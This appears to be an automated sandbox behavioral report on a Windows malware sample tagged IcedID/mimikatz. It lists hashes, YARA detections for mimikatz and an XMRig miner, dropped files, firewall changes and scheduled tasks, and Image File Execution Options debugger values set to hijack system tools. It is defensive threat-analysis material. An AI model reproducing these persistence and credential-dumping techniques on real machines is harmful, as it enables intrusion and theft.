Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
04/06/2024, 18:04
Behavioral task
behavioral1
Sample
2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe
Resource
win7-20240215-en
General
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Target
2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe
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Size
7.9MB
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MD5
751ab61e0808585777f684097dd5cf7d
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SHA1
2f6dcf38242c7c8e85a296404d9ae96659237186
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SHA256
c7c4daab07efb8a0ae9f9f50cd4ba1f5bc484332688bad2b23411a7a5e077953
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SHA512
86f83e0e4e74e14276a0f09a8c14d5c8beda09cf80dd1504cac2860585bf1d5243c7ea483f9c3873b10273f78f9c9ee954b90c2cbd6329c2d2bb758054846ac1
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2652 created 348 2652 yrklftl.exe 17 -
Contacts a large (27601) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral1/memory/2212-137-0x000000013F540000-0x000000013F62E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 33 IoCs
resource yara_rule behavioral1/memory/2028-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/memory/2028-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00340000000149e1-5.dat UPX behavioral1/memory/2544-9-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0005000000019223-130.dat UPX behavioral1/memory/2212-136-0x000000013F540000-0x000000013F62E000-memory.dmp UPX behavioral1/memory/2212-137-0x000000013F540000-0x000000013F62E000-memory.dmp UPX behavioral1/files/0x000500000001935b-147.dat UPX behavioral1/memory/956-151-0x000000013F2B0000-0x000000013F30B000-memory.dmp UPX behavioral1/files/0x00050000000193e2-162.dat UPX behavioral1/memory/2936-167-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2652-166-0x0000000002D30000-0x0000000002E50000-memory.dmp UPX behavioral1/memory/956-171-0x000000013F2B0000-0x000000013F30B000-memory.dmp UPX behavioral1/memory/1836-177-0x000000013F0B0000-0x000000013F10B000-memory.dmp UPX behavioral1/memory/1836-179-0x000000013F0B0000-0x000000013F10B000-memory.dmp UPX behavioral1/memory/884-185-0x000000013F840000-0x000000013F89B000-memory.dmp UPX behavioral1/memory/884-187-0x000000013F840000-0x000000013F89B000-memory.dmp UPX behavioral1/memory/3044-193-0x000000013F090000-0x000000013F0EB000-memory.dmp UPX behavioral1/memory/3044-195-0x000000013F090000-0x000000013F0EB000-memory.dmp UPX behavioral1/memory/2936-197-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/1724-202-0x000000013FC10000-0x000000013FC6B000-memory.dmp UPX behavioral1/memory/1724-204-0x000000013FC10000-0x000000013FC6B000-memory.dmp UPX behavioral1/memory/2936-208-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-209-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-210-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-212-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-217-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-233-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-234-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-236-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-287-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-293-0x000000013F050000-0x000000013F170000-memory.dmp UPX behavioral1/memory/2936-297-0x000000013F050000-0x000000013F170000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2936-197-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-208-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-209-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-210-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-212-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-217-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-233-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-234-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-236-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-287-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-293-0x000000013F050000-0x000000013F170000-memory.dmp xmrig behavioral1/memory/2936-297-0x000000013F050000-0x000000013F170000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 9 IoCs
resource yara_rule behavioral1/memory/2028-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2028-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x00340000000149e1-5.dat mimikatz behavioral1/memory/2544-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1968-135-0x0000000001050000-0x000000000113E000-memory.dmp mimikatz behavioral1/memory/2212-137-0x000000013F540000-0x000000013F62E000-memory.dmp mimikatz behavioral1/memory/2652-166-0x0000000002D30000-0x0000000002E50000-memory.dmp mimikatz behavioral1/memory/2652-206-0x0000000002D30000-0x0000000002D8B000-memory.dmp mimikatz behavioral1/memory/2652-207-0x0000000002D30000-0x0000000002E50000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts yrklftl.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts yrklftl.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2496 netsh.exe 1960 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe yrklftl.exe -
Executes dropped EXE 16 IoCs
pid Process 2544 yrklftl.exe 2652 yrklftl.exe 2960 wpcap.exe 804 itcusielr.exe 2212 vfshost.exe 2088 xohudmc.exe 956 vekeuubbl.exe 3000 rifzsk.exe 2936 mitzpm.exe 1836 vekeuubbl.exe 884 vekeuubbl.exe 3044 vekeuubbl.exe 1724 vekeuubbl.exe 1988 yrklftl.exe 2720 mqmqbrmul.exe 3976 yrklftl.exe -
Loads dropped DLL 22 IoCs
pid Process 2132 cmd.exe 2132 cmd.exe 2860 cmd.exe 2960 wpcap.exe 2960 wpcap.exe 2960 wpcap.exe 2960 wpcap.exe 2960 wpcap.exe 540 cmd.exe 804 itcusielr.exe 804 itcusielr.exe 1968 cmd.exe 1968 cmd.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 1432 cmd.exe -
resource yara_rule behavioral1/files/0x0005000000019223-130.dat upx behavioral1/memory/2212-136-0x000000013F540000-0x000000013F62E000-memory.dmp upx behavioral1/memory/2212-137-0x000000013F540000-0x000000013F62E000-memory.dmp upx behavioral1/files/0x000500000001935b-147.dat upx behavioral1/memory/956-151-0x000000013F2B0000-0x000000013F30B000-memory.dmp upx behavioral1/files/0x00050000000193e2-162.dat upx behavioral1/memory/2936-167-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2652-166-0x0000000002D30000-0x0000000002E50000-memory.dmp upx behavioral1/memory/956-171-0x000000013F2B0000-0x000000013F30B000-memory.dmp upx behavioral1/memory/1836-177-0x000000013F0B0000-0x000000013F10B000-memory.dmp upx behavioral1/memory/1836-179-0x000000013F0B0000-0x000000013F10B000-memory.dmp upx behavioral1/memory/884-185-0x000000013F840000-0x000000013F89B000-memory.dmp upx behavioral1/memory/884-187-0x000000013F840000-0x000000013F89B000-memory.dmp upx behavioral1/memory/3044-193-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/3044-195-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/2936-197-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2652-201-0x0000000001990000-0x00000000019EB000-memory.dmp upx behavioral1/memory/1724-202-0x000000013FC10000-0x000000013FC6B000-memory.dmp upx behavioral1/memory/1724-204-0x000000013FC10000-0x000000013FC6B000-memory.dmp upx behavioral1/memory/2936-208-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-209-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-210-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-212-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-217-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-233-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-234-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-236-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-287-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-293-0x000000013F050000-0x000000013F170000-memory.dmp upx behavioral1/memory/2936-297-0x000000013F050000-0x000000013F170000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ifconfig.me 20 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E40FD8910F68839A32C4CF3F7FD8741B yrklftl.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E40FD8910F68839A32C4CF3F7FD8741B yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yrklftl.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\iibfpugis\fewectaiq\wpcap.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\exma-1.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Result.txt mqmqbrmul.exe File created C:\Windows\iibfpugis\Corporate\mimilib.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libeay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\posh-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trch-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tibe-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture64.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\crli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trfo-2.dll yrklftl.exe File created C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\scan.bat yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\zlib1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ssleay32.dll yrklftl.exe File created C:\Windows\iibfpugis\upbdrjv\swrpwe.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\cnli-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\ip.txt yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\coli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tucl-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.xml yrklftl.exe File created C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\ime\yrklftl.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\Shellcode.ini yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimidrv.sys yrklftl.exe File opened for modification C:\Windows\iibfpugis\Corporate\log.txt cmd.exe File created C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libxml2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\Corporate\vfshost.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\yrklftl.exe 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ucl.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\xdvl-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\itcusielr.exe yrklftl.exe File created C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\gtgcurlb\yrklftl.exe 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\vimpcsvc.xml yrklftl.exe File created C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2956 sc.exe 2424 sc.exe 1244 sc.exe 1016 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x00340000000149e1-5.dat nsis_installer_2 behavioral1/files/0x000900000001540d-15.dat nsis_installer_1 behavioral1/files/0x000900000001540d-15.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2076 schtasks.exe 2300 schtasks.exe 1820 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f006c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{435F4A4E-790A-4A11-B4B3-807F1F0DF037}\WpadNetworkName = "Network 3" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{435F4A4E-790A-4A11-B4B3-807F1F0DF037}\WpadDecisionTime = d01225aca9b6da01 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates yrklftl.exe Key created 